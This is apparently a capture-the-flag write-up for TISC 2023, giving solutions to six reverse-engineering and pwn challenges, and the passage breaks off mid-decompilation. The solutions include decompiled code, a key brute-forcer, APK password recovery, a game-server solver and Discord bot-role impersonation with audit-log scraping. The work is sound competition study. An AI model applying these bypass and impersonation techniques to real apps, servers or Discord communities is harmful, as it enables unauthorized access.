I played TISC for ~two days and managed to reach to level 8. This is slightly worse than last year, especially since there are more winners this year. Here are the writeups for some of the challenges I solved.
Challenge 1
We are given a challenge.img file that looks like a disk image. You can open this using Autopsy and explore around.
One of the deleted files is f00000008.elf
which is likely what the ‘catastrophic malware’ in the challenge description is talking about.
Opening this ELF file in IDA Pro gives the below code:
int __cdecl main(int argc, const char **argv, const char **envp){ char *v3; // r12
v3 = randstr; srand(0x1EFB171u); do *v3++ = rand() % 26 + 97; while ( v3 != &randstr[32] ); printf("TISC{w4s_th3r3_s0m3th1ng_l3ft_%s}", randstr); return 0;}
For whatever reason, I couldn’t run the binary. So I just rewrote it in python and solved it:
from ctypes import CDLL
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(0x1EFB171)randstr = [0]*32for i in range(32): randstr[i] = chr(libc.rand() % 26 + 97)
print(randstr)
print("TISC{w4s_th3r3_s0m3th1ng_l3ft_%s}"% (''.join( randstr)))
Challenge 2
We are given a binary as well as the source code.
int main(int argc, char **argv){ char password[MAX_PASSWORD_SIZE + 1] = { 0 }; int password_length;
unsigned char key[32];
printf("Hello PALINDROME member, please enter password:");
password_length = input_password(password); if (password_length < 40) { printf("The password should be at least 40 characters as per PALINDROME's security policy.\n"); exit(0); }
if (!verify_password(password, password_length)) { initialise_key(key, password, password_length); show_welcome_msg(key); }
else { printf("Failure! \n"); exit(0); }}
After we input our password, there is a verification method (below) that is hard to bypass since its a SHA256 check. After that, we initialize the key according to our password. show_welcome_msg
does GCM decryption to print out the flag.
int verify_password(char *password, int password_length) { unsigned char mdVal[EVP_MAX_MD_SIZE]; unsigned int i;
calculate_sha256(mdVal, password, password_length);
uint64_t hash[] = { 0x962fe02a147163af, 0x8003eb5b7ff75652, 0x3220981f9f027e35, 0xfb933faadd7944b7};
return memcmp(mdVal, hash, 32);}
The crux of this challenge is in initialise_key
:
typedef struct uint256 { uint64_t a0; uint64_t a1; uint64_t a2; uint64_t a3;} uint256_t;
void accumulate_xor(uint256_t *result, uint256_t *arr_entry) { result->a0 ^= arr_entry->a0; result->a1 ^= arr_entry->a1; result->a2 ^= arr_entry->a2; result->a3 ^= arr_entry->a3;
}
void initialise_key(unsigned char *key, char *password, int password_length) { const char *seed = "PALINDROME IS THE BEST!"; int i, j; int counter = 0;
uint256_t *key256 = (uint256_t *)key;
key256->a0 = 0; key256->a1 = 0; key256->a2 = 0; key256->a3 = 0;
uint256_t arr[20] = { 0 };
calculate_sha256((unsigned char *) arr, (unsigned char *) seed, strlen(seed));
for (i = 1; i < 20; i++) { calculate_sha256((unsigned char *)(arr+i), (unsigned char *) (arr+i-1), 32); }
for (i = 0; i < password_length; i++) { int ch = password[i]; for (j = 0; j < 8; j++) { counter = counter % 20;
if (ch & 0x1) { accumulate_xor(key256, arr+counter); }
ch = ch >> 1; counter++; } }}
We initialize arr[20]
with repeating SHA256 hashing of the salt. When we iterate through the password, we see that all that happens is that we have accumulate_xor
(which is just int256 xor) running on each bit of the character (result in key256
), with a wraparound at the 20th bit seen.
This means that key256
is a xor of entries in arr[20]
. Notably, we realize that the actual content of password and its length does not matter - due to the nature of xor, each arr[i]
is either XOR’ed with key256
or it is not. This results in only 2^20 possibilities and is easy to bruteforce.
Here is a script to do that using C:
int main(int argc, char **argv){ unsigned char key[32];
const char *seed = "PALINDROME IS THE BEST!"; int i, j; int counter = 0;
uint256_t *key256 = (uint256_t *)key;
key256->a0 = 0; key256->a1 = 0; key256->a2 = 0; key256->a3 = 0;
uint256_t arr[20] = { 0 };
calculate_sha256((unsigned char *) arr, (unsigned char *) seed, strlen(seed));
for (i = 1; i < 20; i++) { calculate_sha256((unsigned char *)(arr+i), (unsigned char *) (arr+i-1), 32); }
for (int i = 0; i < 1 << 20; i++) { memset(key, 0, 32); for (int x = 0; x < 20; x++) { if ((i >> x) & 1) accumulate_xor(key256, &arr[x]); }
if (i % 1000) { // just to alert printf("%d\n", i); }
if (show_welcome_msg(key)) { break; } }}
Challenge 3
We are given a file called kpa.apk
. Supposedly you can’t just directly run this, there are supposed to be bytes at the end that are missing. Since apk files are just glorified zip files, I used 7zip (which is one of the more resilient software around there) to extract the classes.dex
(compiled sources) and other folders such as resources.
We can then use any DEX decompiler to get the source code out. One of interesting entries is in com.tisc.kappa.MainActivity
:
// ...
/* renamed from: com.tisc.kappa.MainActivity$c */class C1053c implements View.OnClickListener { C1053c() { }
public void onClick(View view) { ((TextView) MainActivity.this.findViewById(C1227d.f5032f)).setVisibility(4); ((TextView) MainActivity.this.findViewById(C1227d.f5027a)).setVisibility(4); try { ((InputMethodManager) MainActivity.this.getSystemService("input_method")).hideSoftInputFromWindow(MainActivity.this.getCurrentFocus().getWindowToken(), 0); } catch (Exception unused) { } String obj = ((EditText) MainActivity.this.findViewById(C1227d.f5028b)).getText().toString(); if (obj.length() == 25) { MainActivity.this.m5574Q(C1227d.f5032f, 3000); MainActivity.this.m5570M(obj); return; } MainActivity.this.m5574Q(C1227d.f5027a, 3000); }}
/* access modifiers changed from: private *//* renamed from: M */public void m5570M(String str) { char[] charArray = str.toCharArray(); String valueOf = String.valueOf(charArray); for (int i = 0; i < 1024; i++) { valueOf = hash(valueOf, "SHA1"); } if (!valueOf.equals("d8655ddb9b7e6962350cc68a60e02cc3dd910583")) { ((TextView) findViewById(C1227d.f5032f)).setVisibility(4); m5574Q(C1227d.f5027a, 3000); return; } char[] copyOf = Arrays.copyOf(charArray, charArray.length); charArray[0] = (char) ((copyOf[24] * 2) + 1); charArray[1] = (char) (((copyOf[23] - 1) / 4) * 3); charArray[2] = Character.toLowerCase(copyOf[22]); charArray[3] = (char) (copyOf[21] + '&'); charArray[4] = (char) ((Math.floorDiv(copyOf[20], 3) * 5) + 4); charArray[5] = (char) (copyOf[19] - 1); charArray[6] = (char) (copyOf[18] + '1'); charArray[7] = (char) (copyOf[17] + 18); charArray[8] = (char) ((copyOf[16] + 19) / 3); charArray[9] = (char) (copyOf[15] + '%'); charArray[10] = (char) (copyOf[14] + '2'); charArray[11] = (char) (((copyOf[13] / 5) + 1) * 3); charArray[12] = (char) ((Math.floorDiv(copyOf[12], 9) + 5) * 9); charArray[13] = (char) (copyOf[11] + 21); charArray[14] = (char) ((copyOf[10] / 2) - 6); charArray[15] = (char) (copyOf[9] + 2); charArray[16] = (char) (copyOf[8] - 24); charArray[17] = (char) ((int) (((double) copyOf[7]) + Math.pow(4.0d, 2.0d))); charArray[18] = (char) ((copyOf[6] - 9) / 2); charArray[19] = (char) (copyOf[5] + 8); charArray[20] = copyOf[4]; charArray[21] = (char) (copyOf[3] - '\"'); charArray[22] = (char) ((copyOf[2] * 2) - 20); charArray[23] = (char) ((copyOf[1] / 2) + 8); charArray[24] = (char) ((copyOf[0] + 1) / 2); m5573P("The secret you want is TISC{" + String.valueOf(charArray) + "}", "CONGRATULATIONS!", "YAY");}// ...
as well as com.tisc.kappa.C1054sw
:
package com.tisc.kappa;
/* renamed from: com.tisc.kappa.sw */public class C1054sw { static { System.loadLibrary("kappa"); }
/* renamed from: a */ public static void m5575a() { try { System.setProperty("KAPPA", css()); } catch (Exception unused) { } }
private static native String css();}
We can see that we need to input some 25-length password which has a SHA1 hash that matches their hash. Afterwards, the letters are shuffled slightly and the flag is printed.
Now this makes no sense at first - since SHA1 hashes are still not very bruteforceable at this time. It’s a little disconnected, but the 25-length password is in the kappa
library (css
method) that is loaded and never used.
__int64 __fastcall JNI_OnLoad(__int64 a1){ unsigned int v1; // ebx __int64 v2; // rbx int v4; // [rsp+9h] [rbp-5Fh] BYREF void *v5[3]; // [rsp+20h] [rbp-48h] BYREF __int64 env; // [rsp+38h] [rbp-30h] BYREF __int64 v7[5]; // [rsp+40h] [rbp-28h] BYREF
v7[3] = __readfsqword(0x28u); v1 = 0; if ( !(*(unsigned int (__fastcall **)(__int64, __int64 *, __int64))(*(_QWORD *)a1 + 48LL))(a1, &env, 65542LL) ) { strcpy((char *)v5, "\"com/tisc/kappa/sw"); v4 = 'ssc'; v2 = (*(__int64 (__fastcall **)(__int64, char *))(*(_QWORD *)env + 48LL))(env, (char *)v5 + 1); if ( (*(unsigned __int8 (__fastcall **)(__int64))(*(_QWORD *)env + 1824LL))(env) ) { v1 = -1; (*(void (__fastcall **)(__int64))(*(_QWORD *)env + 128LL))(env); } else { v7[0] = (__int64)&v4; v7[1] = (__int64)"()Ljava/lang/String;"; v7[2] = (__int64)sub_201F0; (*(void (__fastcall **)(__int64, __int64, __int64 *, __int64))(*(_QWORD *)env + 1720LL))(env, v2, v7, 1LL); v1 = 65542; } if ( ((__int64)v5[0] & 1) != 0 ) operator delete(v5[2]); } return v1;}
The library creates a binding between sub_201F0
and the css
method.
__int64 __fastcall sub_201F0(__int64 a1){ unsigned int v2; // eax bool v3; // r11 char v4; // dl unsigned int v5; // esi __int64 v6; // rcx unsigned __int64 v7; // rdi bool v8; // cc _BYTE *v9; // rdi __int64 v10; // rcx char v11; // dl unsigned __int64 v12; // rbx unsigned __int64 v13; // rsi _BYTE *v14; // rdi char *v15; // rsi __int64 v16; // rbx char v18; // [rsp+8h] [rbp-60h] BYREF char v19; // [rsp+9h] [rbp-5Fh] BYREF void *v20; // [rsp+18h] [rbp-50h] unsigned __int8 v21; // [rsp+20h] [rbp-48h] BYREF _BYTE memarr1[15]; // [rsp+21h] [rbp-47h] BYREF void *v23; // [rsp+30h] [rbp-38h] unsigned __int8 v24; // [rsp+38h] [rbp-30h] BYREF _BYTE memarr0[15]; // [rsp+39h] [rbp-2Fh] BYREF void *ptr; // [rsp+48h] [rbp-20h] unsigned __int64 v27; // [rsp+50h] [rbp-18h]
v27 = __readfsqword(0x28u); v24 = 26; *(_QWORD *)memarr0 = 0x2201290711231241LL; *(_QWORD *)&memarr0[5] = 0x54010C170C220129LL; memarr0[13] = 0; v2 = 0; v3 = 1; v4 = 20; v5 = 0; v6 = 0LL; do { v4 += v6; if ( (_DWORD)v6 == 5 * (v5 / 5) ) v4 = 96; v9 = memarr0; if ( !v3 ) v9 = ptr; v9[v6 + 1] ^= v4; v3 = (v24 & 1) == 0; if ( (v24 & 1) != 0 ) v7 = *(_QWORD *)&memarr0[7]; else v7 = (unsigned __int64)v24 >> 1; ++v5; v8 = v7 <= v6 + 2; ++v6; } while ( !v8 ); v21 = 24; LOBYTE(v10) = 1; *(_QWORD *)memarr1 = 0xA100F091B190957LL; *(_DWORD *)&memarr1[8] = 1929976078; memarr1[12] = 0; v11 = 28; v12 = 0LL; do { v14 = memarr1; if ( (v10 & 1) == 0 ) v14 = v23; v10 = 3 * (v2 / 3); v14[v12] ^= v11; v11 += v12; if ( (_DWORD)v12 == (_DWORD)v10 ) v11 = 72; ++v12; LOBYTE(v10) = (v21 & 1) == 0; if ( (v21 & 1) != 0 ) v13 = *(_QWORD *)&memarr1[7]; else v13 = (unsigned __int64)v21 >> 1; ++v2; } while ( v13 > v12 ); std::operator+<char>(&v18, &v24, &v21, v10, memarr1, 0xAAAAAAABLL); if ( (v18 & 1) != 0 ) v15 = (char *)v20; else v15 = &v19; v16 = (*(__int64 (__fastcall **)(__int64, char *))(*(_QWORD *)a1 + 1336LL))(a1, v15); if ( (v18 & 1) == 0 ) { if ( (v21 & 1) == 0 ) goto LABEL_24;LABEL_28: operator delete(v23); if ( (v24 & 1) == 0 ) return v16; goto LABEL_25; } operator delete(v20); if ( (v21 & 1) != 0 ) goto LABEL_28;LABEL_24: if ( (v24 & 1) != 0 )LABEL_25: operator delete(ptr); return v16;}
I really didn’t want to reverse this nonsense, but you’ll see that the return value is v16
, and there are no parameters. So we can just emulate this by running the C code ourselves:
int main() { unsigned int v2; // eax int v3; // r11 char v4; // dl unsigned int v5; // esi long long v6; // rcx unsigned char v7; // rdi int v8; // cc char *v9; // rdi long long v10; // rcx char v11; // dl unsigned long long v12; // rbx unsigned long long v13; // rsi char *v14; // rdi char *v15; // rsi unsigned long long v16; // rbx
struct __attribute__((__packed__)){ char v18; // [rsp+8h] [rbp-60h] BYREF char v19; // [rsp+9h] [rbp-5Fh] BYREF char _pad[0x10-2]; void *v20; // [rsp+18h] [rbp-50h] // unsigned char v21; // [rsp+20h] [rbp-48h] BYREF char memarr1[15]; // [rsp+21h] [rbp-47h] BYREF void *v23; // [rsp+30h] [rbp-38h] unsigned char v24; // [rsp+38h] [rbp-30h] BYREF char memarr0[15]; // [rsp+39h] [rbp-2Fh] BYREF void *ptr; // [rsp+48h] [rbp-20h] unsigned char v27; // [rsp+50h] [rbp-18h]} _;
_.v24 = 26; *(long *)_.memarr0 = 0x2201290711231241LL; *(long *)&_.memarr0[5] = 0x54010C170C220129LL; _.memarr0[13] = 0; v2 = 0; v3 = 1; v4 = 20; v5 = 0; v6 = 0LL; do { v4 += v6; if ( (unsigned)v6 == 5 * (v5 / 5) ) v4 = 96; v9 = _.memarr0; if ( !v3 ) v9 = _.ptr; v9[v6 + 1] ^= v4; v3 = (_.v24 & 1) == 0; if ( (_.v24 & 1) != 0 ) v7 = *(unsigned long long *)&_.memarr0[7]; else v7 = (unsigned long long)_.v24 >> 1; ++v5; v8 = v7 <= v6 + 2; ++v6; } while ( !v8 ); _.v21 = 24; v10 = 1; // LOBYTE *(unsigned long long *)_.memarr1 = 0xA100F091B190957LL; *(unsigned int *)&_.memarr1[8] = 1929976078; _.memarr1[12] = 0; v11 = 28; v12 = 0LL; do { v14 = _.memarr1; if ( (v10 & 1) == 0 ) v14 = _.v23; v10 = 3 * (v2 / 3); v14[v12] ^= v11; v11 += v12; if ( (unsigned int)v12 == (unsigned int)v10 ) v11 = 72; ++v12; v10 = (_.v21 & 1) == 0; if ( (_.v21 & 1) != 0 ) v13 = *(unsigned long long *)&_.memarr1[7]; else v13 = (unsigned long long)_.v21 >> 1; ++v2; } while ( v13 > v12 );
if ( (_.v18 & 1) != 0 ) v15 = (char *)_.v20; else v15 = &_.v19;
printf("%s", v15); //printf("%s", _.v20); printf("%s", &_.v19);}
Note the packed struct used for the non-register fields. This is to ensure they maintain the same memory layout as in the decompiler. After running this, I don’t get the password; but after some memory inspection, the text ArBraCaDabra?
and KAPPACABANA!
is left in memory (my script probably references the wrong memory still).
Appending these to each other and using them as the password, we get the flag:
copyOf = [ord(i) for i in "ArBraCaDabra?KAPPACABANA!"]charArray = [0]*25
charArray[0] = ((copyOf[24] * 2) + 1)charArray[1] = (((copyOf[23] - 1) // 4) * 3)charArray[2] = ord(chr(copyOf[22]).lower())charArray[3] = (copyOf[21] + ord('&'))charArray[4] = ((copyOf[20]// 3) * 5) + 4charArray[5] = (copyOf[19] - 1)charArray[6] = (copyOf[18] + ord('1'))charArray[7] = (copyOf[17] + 18)charArray[8] = ((copyOf[16] + 19) // 3)charArray[9] = (copyOf[15] + ord('%'))charArray[10] = (copyOf[14] + ord('2'))charArray[11] = (((copyOf[13] // 5) + 1) * 3)charArray[12] = ((copyOf[12]// 9) + 5) * 9charArray[13] = (copyOf[11] + 21)charArray[14] = ((copyOf[10] // 2) - 6)charArray[15] = (copyOf[9] + 2)charArray[16] = (copyOf[8] - 24)charArray[17] = (copyOf[7] + 16 )charArray[18] = ((copyOf[6] - 9) // 2)charArray[19] = (copyOf[5] + 8)charArray[20] = copyOf[4]charArray[21] = (copyOf[3] - ord('\"'))charArray[22] = ((copyOf[2] * 2) - 20)charArray[23] = ((copyOf[1] // 2) + 8)charArray[24] = ((copyOf[0] + 1) // 2)print(charArray)print("The secret you want is TISC{" + ''.join(chr(c) for c in charArray) + "}", "CONGRATULATIONS!", "YAY")
Challenge 4
We are given binaries of the game. A quick lookaround shows that its Electron-based, so I extracted the app.asar
file. The minified source code of the game is provided as well. Here are the important bits:
const Du = ee, ju = "http://rubg.chals.tisc23.ctf.sg:34567", Sr = Du.create({ baseURL: ju });
async function Hu() { return (await Sr.get("/generate")).data}async function $u(e) { return (await Sr.post("/solve", e)).data}async function ku() { return (await Sr.get("/")).data}const Ku = "" + new URL("bomb-47e36b1b.wav", import.meta.url).href, qu = "" + new URL("gameover-c91fde36.wav", import.meta.url).href, _s = "" + new URL("victory-3e1ba9c7.wav", import.meta.url).href
// ...
df = Zs({ __name: "BattleShips", setup(e) { const t = Ke([0]), n = Ke(BigInt("0")), r = Ke(BigInt("0")), s = Ke(0), o = Ke(""), i = Ke(100), l = Ke(new Array(256).fill(0)), c = Ke([]);
function f(x) { let _ = []; for (let y = 0; y < x.a.length; y += 2) _.push((x.a[y] << 8) + x.a[y + 1]); return _ }
function d(x) { return (t.value[Math.floor(x / 16)] >> x % 16 & 1) === 1 } async function m(x) { if (d(x)) { if (t.value[Math.floor(x / 16)] ^= 1 << x % 16, l.value[x] = 1, new Audio(Ku).play(), c.value.push(`${n.value.toString(16).padStart(16,"0")[15-x%16]}${r.value.toString(16).padStart(16,"0")[Math.floor(x/16)]}`), t.value.every(_ => _ === 0))
if (JSON.stringify(c.value) === JSON.stringify([...c.value].sort())) { const _ = { a: [...c.value].sort().join(""), b: s.value }; i.value = 101, o.value = (await $u(_)).flag, new Audio(_s).play(), i.value = 4 } else i.value = 3, new Audio(_s).play() } else i.value = 2, new Audio(qu).play() } async function E() { i.value = 101; let x = await Hu(); // t = a, n = b, r = c, s = d t.value = f(x), n.value = BigInt(x.b), r.value = BigInt(x.c), s.value = x.d, i.value = 1, l.value.fill(0), c.value = [], o.value = "" } return _r(async () => { await ku() === "pong" && (i.value = 0) }), (x, _) => (de(), pe(me, null, [i.value === 100 ? (de(), pe("div", zu, Ju)) : Me("", !0), i.value === 101 ? (de(), pe("div", Vu, Xu)) : Me("", !0), i.value === 0 ? (de(), pe("div", Qu, [Zu, W("div", null, [W("button", { onClick: _[0] || (_[0] = y => E()) }, "START GAME")])])) : Me("", !0), i.value === 1 ? (de(), pe("div", Gu, [(de(), pe(me, null, al(256, y => W("button", { ref_for: !0, ref: "shipCell", class: on(l.value[y - 1] === 1 ? "cell hit" : "cell"), onClick: H => m(y - 1), disabled: l.value[y - 1] === 1 }, null, 10, ef)), 64))])) : Me("", !0), i.value === 2 ? (de(), pe("div", tf, [nf, W("div", null, [W("button", { onClick: _[1] || (_[1] = y => E()) }, "RETRY")])])) : Me("", !0), i.value === 3 ? (de(), pe("div", rf, [sf, W("div", null, [W("button", { onClick: _[2] || (_[2] = y => E()) }, "RETRY")])])) : Me("", !0), i.value === 4 ? (de(), pe("div", of, [lf, o.value ? (de(), pe("div", cf, ko(o.value), 1)) : Me("", !0)])) : Me("", !0), i.value !== 100 ? (de(), pe("audio", uf, af)) : Me("", !0)], 64)) }});
After the HTTP methods (seems like axios?) setup, we have a component that is minified. E
seems to be called first to setup, and it calls Hu
to call the /generate
endpoint.
The response is used to formulate the variables t
, n
, r
, s
. t
is an array of integers representing a row on the map (so each bit is a cell). Every time we click on a cell it checks the bit at the row,col index to see if its 1 (implying that this is the battleship valid position).
To check if have solved it (and in the correct order) it does c.value.push(`${n.value.toString(16).padStart(16,"0")[15-x%16]}${r.value.toString(16).padStart(16,"0")[Math.floor(x/16)]}`)
for each cell clicked, and checks JSON.stringify(c.value) === JSON.stringify([...c.value].sort())
, so there is a order required for the button presses. This is still easy to derive however, since we ourselves can just sort it.
(async () => { const req = await fetch('http://rubg.chals.tisc23.ctf.sg:34567/generate'); const gen = await req.json(); const c = []; const n = BigInt(gen.b); const r = BigInt(gen.c); const s = gen.d;
function f(x) { let _ = []; for (let y = 0; y < x.a.length; y += 2) _.push((x.a[y] << 8) + x.a[y + 1]); return _ }
const t = f(gen); console.log('t', t);
for (x = 0; x < 256; x++) { if (t[Math.floor(x/16)] >> x % 16 & 1 === 1) { c.push(`${n.toString(16).padStart(16,"0")[15-x%16]}${r.toString(16).padStart(16,"0")[Math.floor(x/16)]}`) } }
const _ = { a: [...c].sort().join(""), b: s };
const solvereq = await fetch('http://rubg.chals.tisc23.ctf.sg:34567/solve', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(_) }); const data = await solvereq.text(); console.log(data);})()
Challenge 5
The most annoying challenge out of all of them :) , but still requires skill so I won’t complain (that much).
We are given a link to a Github Repo. One of the commits mentions that the build fails, so checking the Github Actions log shows some info:
We can see the host, port, and url of the web request we are making. Navigating to the site shows a platform to get a discord invite as a bot role. I used this client below that totally looks a scam so I ran it in my VM to impersonate the bot role.
Logging in gives access to a #meeting-records
channel where there is a thread with funny messages:
It talks about permission 66688 which I originally read as intent 66688 and wasted some time trying to see what I could do with that.
Permission 66688 also includes View Audit permissions, so I wrote a small script to extract all audit events:
One of the audit logs includes a link for a BetterInvites bot which gives access to the #flag
channel.
Challenge 6
It’s here that the challenges split between Web and Pwn categories. I choose to do the Pwn track (even though the Web track honestly looked easier) since I wanted to see how hard it could get.
The challenge was a binary called 4d
. Initially I thought it was Golang-based but it turns out it was Vlang-based. The calling convention and decompilations looked so similar.
Anyway, the server shows a index page that subscribes to a Server-Sent Events endpoint. The endpoint generates 4d numbers, then checks if shuffling some per-user data will yield a certain condition:
void *__usercall main__compare@<rax>(vstr keyMix@<^0.16>){ int v1; // edx int v2; // ecx int v3; // r8d int v4; // r9d int v5; // edx int v6; // ecx int v7; // r8d int v8; // r9d int v9; // edx int v10; // ecx int v11; // r8d int v12; // r9d int v13; // edx int v14; // ecx int v15; // r8d int v16; // r9d int v17; // edx int v18; // ecx int v19; // r8d int v20; // r9d int v21; // edx int v22; // ecx int v23; // r8d int v24; // r9d int v25; // edx int v26; // ecx int v27; // r8d int v28; // r9d int v29; // edx int v30; // ecx int v31; // r8d int v32; // r9d int v33; // edx int v34; // ecx int v35; // r8d int v36; // r9d int v37; // edx int v38; // ecx int v39; // r8d int v40; // r9d int v41; // edx int v42; // ecx int v43; // r8d int v44; // r9d int v45; // edx int v46; // ecx int v47; // r8d int v48; // r9d int v49; // edx int v50; // ecx int v51; // r8d int v52; // r9d int v53; // edx int v54; // ecx int v55; // r8d int v56; // r9d int v57; // edx int v58; // ecx int v59; // r8d int v60; // r9d int v61; // edx int v62; // ecx int v63; // r8d int v64; // r9d int v65; // edx int v66; // ecx int v67; // r8d int v68; // r9d int v69; // edx int v70; // ecx int v71; // r8d int v72; // r9d int v73; // edx int v74; // ecx int v75; // r8d int v76; // r9d int v77; // edx int v78; // ecx int v79; // r8d int v80; // r9d int v81; // edx int v82; // ecx int v83; // r8d int v84; // r9d int v85; // edx int v86; // ecx int v87; // r8d int v88; // r9d int v89; // edx int v90; // ecx int v91; // r8d int v92; // r9d int v93; // edx int v94; // ecx int v95; // r8d int v96; // r9d int v97; // edx int v98; // ecx int v99; // r8d int v100; // r9d int v101; // edx int v102; // ecx int v103; // r8d int v104; // r9d int v105; // edx int v106; // ecx int v107; // r8d int v108; // r9d int v109; // edx int v110; // ecx int v111; // r8d int v112; // r9d int v113; // edx int v114; // ecx int v115; // r8d int v116; // r9d int v117; // edx int v118; // ecx int v119; // r8d int v120; // r9d int v121; // edx int v122; // ecx int v123; // r8d int v124; // r9d int v125; // edx int v126; // ecx int v127; // r8d int v128; // r9d vstr v130; // [rsp-20h] [rbp-30h] BYREF int v131; // [rsp-10h] [rbp-20h] int v132; // [rsp-8h] [rbp-18h] void *dest; // [rsp+8h] [rbp-8h]
if ( keyMix.len != 32 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(31, (unsigned int)&keyMix, v1, v2, v3, v4, v130.ptr, v130.ref, v131, v132) != 118 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(19, (unsigned int)&keyMix, v5, v6, v7, v8, v130.ptr, v130.ref, v131, v132) ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(21, (unsigned int)&keyMix, v9, v10, v11, v12, v130.ptr, v130.ref, v131, v132) != 87 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(13, (unsigned int)&keyMix, v13, v14, v15, v16, v130.ptr, v130.ref, v131, v132) != 19 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(30, (unsigned int)&keyMix, v17, v18, v19, v20, v130.ptr, v130.ref, v131, v132) != 110 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(14, (unsigned int)&keyMix, v21, v22, v23, v24, v130.ptr, v130.ref, v131, v132) != 84 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(20, (unsigned int)&keyMix, v25, v26, v27, v28, v130.ptr, v130.ref, v131, v132) != 63 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(24, (unsigned int)&keyMix, v29, v30, v31, v32, v130.ptr, v130.ref, v131, v132) != 91 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(12, (unsigned int)&keyMix, v33, v34, v35, v36, v130.ptr, v130.ref, v131, v132) != 43 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(29, (unsigned int)&keyMix, v37, v38, v39, v40, v130.ptr, v130.ref, v131, v132) != 22 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(11, (unsigned int)&keyMix, v41, v42, v43, v44, v130.ptr, v130.ref, v131, v132) != 104 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(10, (unsigned int)&keyMix, v45, v46, v47, v48, v130.ptr, v130.ref, v131, v132) != 17 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(2, (unsigned int)&keyMix, v49, v50, v51, v52, v130.ptr, v130.ref, v131, v132) != 100 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(6, (unsigned int)&keyMix, v53, v54, v55, v56, v130.ptr, v130.ref, v131, v132) != 23 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(0, (unsigned int)&keyMix, v57, v58, v59, v60, v130.ptr, v130.ref, v131, v132) != 106 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(18, (unsigned int)&keyMix, v61, v62, v63, v64, v130.ptr, v130.ref, v131, v132) != 40 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(27, (unsigned int)&keyMix, v65, v66, v67, v68, v130.ptr, v130.ref, v131, v132) != 28 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(25, (unsigned int)&keyMix, v69, v70, v71, v72, v130.ptr, v130.ref, v131, v132) != 20 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(1, (unsigned int)&keyMix, v73, v74, v75, v76, v130.ptr, v130.ref, v131, v132) != 1 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(22, (unsigned int)&keyMix, v77, v78, v79, v80, v130.ptr, v130.ref, v131, v132) != 59 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(17, (unsigned int)&keyMix, v81, v82, v83, v84, v130.ptr, v130.ref, v131, v132) != 104 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(8, (unsigned int)&keyMix, v85, v86, v87, v88, v130.ptr, v130.ref, v131, v132) != 117 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(23, (unsigned int)&keyMix, v89, v90, v91, v92, v130.ptr, v130.ref, v131, v132) != 126 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(16, (unsigned int)&keyMix, v93, v94, v95, v96, v130.ptr, v130.ref, v131, v132) != 37 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(3, (unsigned int)&keyMix, v97, v98, v99, v100, v130.ptr, v130.ref, v131, v132) != 45 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(4, (unsigned int)&keyMix, v101, v102, v103, v104, v130.ptr, v130.ref, v131, v132) != 94 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(26, (unsigned int)&keyMix, v105, v106, v107, v108, v130.ptr, v130.ref, v131, v132) != 120 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(28, (unsigned int)&keyMix, v109, v110, v111, v112, v130.ptr, v130.ref, v131, v132) != 87 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(15, (unsigned int)&keyMix, v113, v114, v115, v116, 